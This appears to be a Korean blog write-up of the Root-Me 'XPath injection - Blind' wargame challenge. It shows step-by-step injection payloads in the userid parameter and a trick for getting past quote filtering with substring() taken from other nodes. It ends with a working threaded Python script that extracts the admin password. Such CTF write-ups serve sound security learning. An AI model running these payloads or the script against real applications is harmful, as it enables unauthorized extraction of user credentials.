WARGAME/ROOT-ME

Root-Me/ XPath injection - Blind

NGA_ 2019. 7. 17. 12:31

 

문제를 해결하기 위해서는 admin의 password를 알아내야 한다.

 

Members로 들어가게 되면 John 이 admin 인걸 확인할 수 있다.

 

그리고 특정 Username을 클릭하게 되면 profile을 보여주고 메시지를 보내는 기능이 존재하는데 기능은 작동하지 않는 거 같다.

 

 

userid 값을 문자나 큰 수로 변경해주게 되면 XPath error라고 XPath의 구문을 보여주게 된다. 

 

이제 XPath injection 이 가능한 부분을 찾았고 exploit 하면 된다.

 

John의 password를 뽑기 위해 password 노드의 이름을 알아내야 한다.

 

?action=user&userid=2 and pass            XPath error

?action=user&userid=2 and pw              XPath error

?action=user&userid=2 and password      John

 

위처럼 password 노드를 개싱을 통해서 알아낼 수 있다.

 

John의 password 길이를 알아내기 위해 XPath의 내장 함수인 string-length를 사용

 

?action=user&userid=2 and string-length(password)>10      John

?action=user&userid=2 and string-length(password)>15      XPath error

?action=user&userid=2 and string-length(password)>12      John

?action=user&userid=2 and string-length(password)>13      XPath error

?action=user&userid=2 and string-length(password)=13      John

 

John의 password 길이는 13

 

XPath substring을 통해서 값들을 하나씩 뽑아낼 수 있다.

 

?action=user&userid=2 and substring(password,1,1) = 'a'     XPath error user[userid=\'a\']  // quote 필터링

?action=user&userid=2 and substring(password,1,1) = "a"    XPath error user[userid=\"a\"] // double quote 필터링

?action=user&userid=2 and substring(password,1,1) = 0x61  XPath error user [userid=0x61]   // 이런 거 지원 안됨.

 

single quote와 double quote가 필터링되 특정 문자를 만들 수 없다.

하지만 다른 노드들이 가지고 있는 값들을 Members를 통해서 알고 있음으로 그 값들을 통해서 문자를 추출하자.

 

//user[1]   ==>    Steve의 정보를 가지고 있는 노드

//user[1]/username   ==>   Steve의 username  // steve

//user[1]/email   ==>   Steve의 email  // steve@jobs.com

//user[1]/account   ==>   Steve의 account type  // subscriber

 

substring(//user[1]/username,1,1) ==> 's'

substring(//user[1]/username,2,1) ==> 't'

substring(//user[1]/username,3,1) ==> 'e'

.....

 

이처럼 값들을 뽑게 되면 [a-z] [A-Z] @ . 가 나오는데 이중에 비는 값들도 존재하는데

그 값들은 brute force를 통해서 해결 가능하다.

 

substring(//user[1]/account,2,1)  ==>  'u'

?action=user&userid=2 and substring(password,1,1) = substring(//user[1]/account,2,1)  =>  John ( True )

 

password의 첫 번째 자리는 'u' 

substring(//user[1]/account,3,1)  ==>  'b'

 

?action=user&userid=2 and substring(password,1,1) > substring(//user[1]/account,3,1)

Expected result ) John ( True )

Actual result ) XPath error // XPath는 문자에 대한 크기 비교가 안되는 듯하다.

 

문자에 대한 크기 비교가 되었으면 추출한 값 중 빈 값에 대해 brute force가 수월했을 것이다.

하지만 문제에서 추출한 값을 통해 John의 password가 구해지므로 brute force를 할 필요가 없다.

 

exploit code

from requests import *
import threading

password = ['?','?','?','?','?','?','?','?','?','?','?','?','?']
url = "http://challenge01.root-me.org/web-serveur/ch24/?action=user&userid="
data = {
	'@':'email,2,5',
	'.':'email,2,9',
	'E':'username,3,1',
	'J':'username,2,1',
	'S':'username,1,1',
	'a':'email,3,5',
	'b':'email,1,9',
	'c':'email,3,3',
	'd':'email,2,6',
	'e':'email,1,3',
	'g':'email,2,12',
	'h':'email,2,3',
	'i':'email,3,2',
	'j':'email,1,7',
	'l':'email,5,2',
	'm':'email,5,9',
	'n':'email,2,4',
	'o':'email,1,8',
	'r':'email,3,1',
	's':'email,1,1',
	't':'email,1,2',
	'u':'account,1,2',
	'v':'email,1,4',
	'y':'email,4,5',
	'z':'email,3,11'
	}
	
def extract(idx):

	for i in data:
		
		godget = data[i].split(",")
		query = "2 and substring(//user[2]/password,{},1) = substring(//user[{}]/{},{},1)".format(idx,godget[1],godget[0],godget[2])
		res = get(url+query)
		print(query, i)
		if(res.text.find("XPath error :") == -1):
			password[idx-1] = i
			print(''.join(password))
			return 0


	for j in range(0,10):
	
		query = "2 and substring(//user[2]/password,{},1) = {}".format(idx,j)
		res = get(url+query)
		print(query, j)
		if(res.text.find("XPath error :") == -1):
			password[idx-1] = str(j)
			print(''.join(password))
			return 0
	


if __name__ == '__main__':

	for i in range(1,14):
		my_thread = threading.Thread(target=extract, args=(i,))
		my_thread.start()